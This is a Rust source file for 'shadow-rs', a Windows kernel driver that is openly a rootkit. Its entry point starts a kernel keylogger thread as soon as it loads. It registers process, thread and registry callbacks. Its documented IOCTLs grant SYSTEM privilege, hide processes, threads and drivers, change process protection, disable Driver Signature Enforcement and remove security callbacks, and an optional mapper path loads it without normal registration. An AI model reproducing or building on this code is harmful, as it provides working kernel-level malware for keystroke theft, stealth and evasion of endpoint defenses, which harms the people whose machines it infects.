Files
shadow-rs/driver/src/lib.rs
2024-07-26 18:44:25 -03:00

329 lines
11 KiB
Rust

#![no_std]
#![allow(unused_must_use)]
#![allow(unreachable_code)]
#![allow(unused_variables)]
extern crate alloc;
use {
utils::uni,
kernel_log::KernelLogger,
core::ptr::null_mut,
wdk_sys::{_MODE::KernelMode, ntddk::*, *},
keylogger::SHUTDOWN,
crate::utils::ioctls::IOCTL_MAP,
};
#[cfg(not(feature = "mapper"))]
use {
process::{on_pre_open_process, CALLBACK_REGISTRATION_HANDLE_PROCESS},
thread::{on_pre_open_thread, CALLBACK_REGISTRATION_HANDLE_THREAD},
registry::{registry_callback, CALLBACK_REGISTRY},
};
#[cfg(not(feature = "mapper"))]
mod registry;
mod callbacks;
mod driver;
mod includes;
mod keylogger;
mod process;
mod thread;
mod module;
mod injection;
mod utils;
/// The name of the device in the device namespace.
const DEVICE_NAME: &str = "\\Device\\shadow";
/// The name of the device in the DOS device namespace.
const DOS_DEVICE_NAME: &str = "\\??\\shadow";
/// Driver input function.
///
/// This function is called by the system when the driver is loaded.
///
/// # Parameters
/// - `driver_object`: Pointer to the driver object.
/// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
///
/// # Return
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
///
/// Reference: WDF expects a symbol with the name DriverEntry
#[export_name = "DriverEntry"]
pub unsafe extern "system" fn driver_entry(
driver: &mut DRIVER_OBJECT,
registry_path: PCUNICODE_STRING,
) -> NTSTATUS {
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
log::info!("DriverEntry Loaded");
#[cfg(feature = "mapper")] {
use includes::IoCreateDriver;
const DRIVER_NAME: &str = "\\Driver\\shadow";
let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode();
let status = IoCreateDriver(&mut driver_name, Some(shadow_entry));
if !NT_SUCCESS(status) {
log::error!("IoCreateDriver Failed With Status: {status}");
}
return status;
}
shadow_entry(driver, registry_path)
}
/// Driver input function.
///
/// This function is called by the system when the driver is loaded. It is responsible for
/// initializing the driver, creating the device object and setting up the symbolic link.
///
/// # Parameters
/// - `driver_object`: Pointer to the driver object.
/// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
///
/// # Return
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
///
pub unsafe extern "system" fn shadow_entry(
driver: &mut DRIVER_OBJECT,
_registry_path: PCUNICODE_STRING,
) -> NTSTATUS {
log::info!("Shadow Loaded");
let device_name = uni::str_to_unicode(DEVICE_NAME);
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
let mut device_object: *mut DEVICE_OBJECT = core::ptr::null_mut();
let mut status = IoCreateDevice(
driver,
0,
&mut device_name.to_unicode(),
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
0,
&mut device_object,
);
if !NT_SUCCESS(status) {
log::error!("IoCreateDevice Failed With Status: {status}");
return status;
}
driver.DriverUnload = Some(driver_unload);
driver.MajorFunction[IRP_MJ_CREATE as usize] = Some(driver_close);
driver.MajorFunction[IRP_MJ_CLOSE as usize] = Some(driver_close);
driver.MajorFunction[IRP_MJ_DEVICE_CONTROL as usize] = Some(device_control);
status = IoCreateSymbolicLink(&mut dos_device_name.to_unicode(),&mut device_name.to_unicode());
if !NT_SUCCESS(status) {
IoDeleteDevice(device_object);
log::error!("IoCreateSymbolicLink Failed With Status: {status}");
return status;
}
let mut h_thread: HANDLE = core::ptr::null_mut();
status = PsCreateSystemThread(
&mut h_thread,
THREAD_ALL_ACCESS,
null_mut(),
null_mut(),
null_mut(),
Some(keylogger::keylogger),
null_mut(),
);
if !NT_SUCCESS(status) {
IoDeleteDevice(device_object);
log::error!("PsCreateSystemThread Failed With Status: {status}");
return status;
}
#[cfg(feature = "mapper")] {
(*device_object).Flags |= DO_BUFFERED_IO;
(*device_object).Flags &= !DO_DEVICE_INITIALIZING;
}
#[cfg(not(feature = "mapper"))] {
status = register_callbacks(driver);
if !NT_SUCCESS(status) {
log::error!("register_callbacks Failed With Status: {status}");
return status;
}
}
STATUS_SUCCESS
}
/// Handles device control commands (IOCTL).
///
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
///
/// # Parameters
/// - `_device`: Pointer to the device object (not used in this function).
/// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request.
///
/// # Return
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
///
/// # Supported IOCTLs
/// - `IOCTL_ELEVATE_PROCESS`: Elevates the specified process to system privileges.
/// - `IOCTL_HIDE_UNHIDE_PROCESS`: Hide / Unhide the specified process.
/// - `IOCTL_TERMINATE_PROCESS`: Terminate process.
/// - `IOCTL_PROTECTION_PROCESS`: Modifying the PP / PPL of a process.
/// - `IOCTL_ANTI_KILL_DUMPING_PROCESS`: Responsible for adding shutdown protection / memory dumping for a process.
/// - `IOCTL_ENUMERATION_PROCESS`: Lists the processes currently hidden and protect.
/// - `IOCTL_HIDE_UNHIDE_THREAD`: Hide the specified Thread by removing it from the list of active threads.
/// - `IOCTL_ANTI_KILL_THREAD`: Responsible for adding thread termination protection.
/// - `IOCTL_HIDE_DRIVER`: Hiding a driver from loaded modules.
/// - `IOCTL_ENUMERATE_DRIVER`: Enumerate active drivers on the system.
/// - `IOCTL_ENABLE_DSE`: Responsible for enabling/disabling DSE.
/// - `IOCTL_KEYLOGGER`: Start / Stop Keylogger.
/// - `IOCTL_ENUMERATE_CALLBACK`: Lists callbacks.
/// - `IOCTL_REMOVE_CALLBACK`: Remove a callback.
///
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
let status;
if let Some(handler) = IOCTL_MAP.get(&control_code) {
status = handler(irp, stack);
} else {
status = STATUS_INVALID_DEVICE_REQUEST;
}
(*irp).IoStatus.__bindgen_anon_1.Status = status;
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
status
}
/// Closes an open instance of the device.
///
/// This function is called when an open instance of the device is closed.
/// It marks the I/O request (IRP) as successfully completed.
///
/// # Parameters
/// - `_device_object`: Pointer to the associated device object (not used in this function).
/// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request.
///
/// # Return
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
///
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
(*irp).IoStatus.Information = 0;
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
STATUS_SUCCESS
}
/// Download the system driver.
///
/// This function is called when the driver is being unloaded from the system.
/// It removes the symbolic link and deletes the device object associated with the driver.
///
/// # Parameters
/// - `driver_object`: Pointer to the driver object being unloaded.
///
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
log::info!("Unloading driver");
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&mut dos_device_name.to_unicode());
IoDeleteDevice((*driver_object).DeviceObject);
SHUTDOWN = true;
#[cfg(not(feature = "mapper"))] {
ObUnRegisterCallbacks(process::CALLBACK_REGISTRATION_HANDLE_PROCESS);
ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD);
CmUnRegisterCallback(CALLBACK_REGISTRY);
}
let mut interval = LARGE_INTEGER {
QuadPart: -1 * (50 * 10000 as i64),
};
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
log::info!("Shadow Unload");
}
/// Register Callbacks.
///
/// # Parameters
/// - `driver_object`: Pointer to the driver object being unloaded.
///
/// # Return
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
///
#[cfg(not(feature = "mapper"))]
pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS {
let mut status;
// Creating callbacks related to Process operations
let mut op_reg = OB_OPERATION_REGISTRATION {
ObjectType: PsProcessType,
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
PreOperation: Some(on_pre_open_process),
PostOperation: None,
};
let altitude = uni::str_to_unicode("31243.5222");
let mut cb_reg = OB_CALLBACK_REGISTRATION {
Version: OB_FLT_REGISTRATION_VERSION as u16,
OperationRegistrationCount: 1,
Altitude: altitude.to_unicode(),
RegistrationContext: core::ptr::null_mut(),
OperationRegistration: &mut op_reg,
};
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS));
if !NT_SUCCESS(status) {
log::error!("ObRegisterCallbacks (Process) Failed With Status: {status}");
return status;
}
// Creating callbacks related to thread operations
let mut op_reg = OB_OPERATION_REGISTRATION {
ObjectType: PsThreadType,
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
PreOperation: Some(on_pre_open_thread),
PostOperation: None,
};
let altitude = uni::str_to_unicode("31243.5223");
let mut cb_reg = OB_CALLBACK_REGISTRATION {
Version: OB_FLT_REGISTRATION_VERSION as u16,
OperationRegistrationCount: 1,
Altitude: altitude.to_unicode(),
RegistrationContext: core::ptr::null_mut(),
OperationRegistration: &mut op_reg,
};
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_THREAD));
if !NT_SUCCESS(status) {
log::error!("ObRegisterCallbacks (Thread) Failed With Status: {status}");
return status;
}
// Creating callbacks related to registry operations
let mut altitude = uni::str_to_unicode("31122.6172").to_unicode();
status = CmRegisterCallbackEx(
Some(registry_callback),
&mut altitude,
driver_object as *mut DRIVER_OBJECT as *mut core::ffi::c_void,
null_mut(),
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
null_mut(),
);
if !NT_SUCCESS(status) {
log::error!("CmRegisterCallbackEx Failed With Status: {status}");
return status;
}
status
}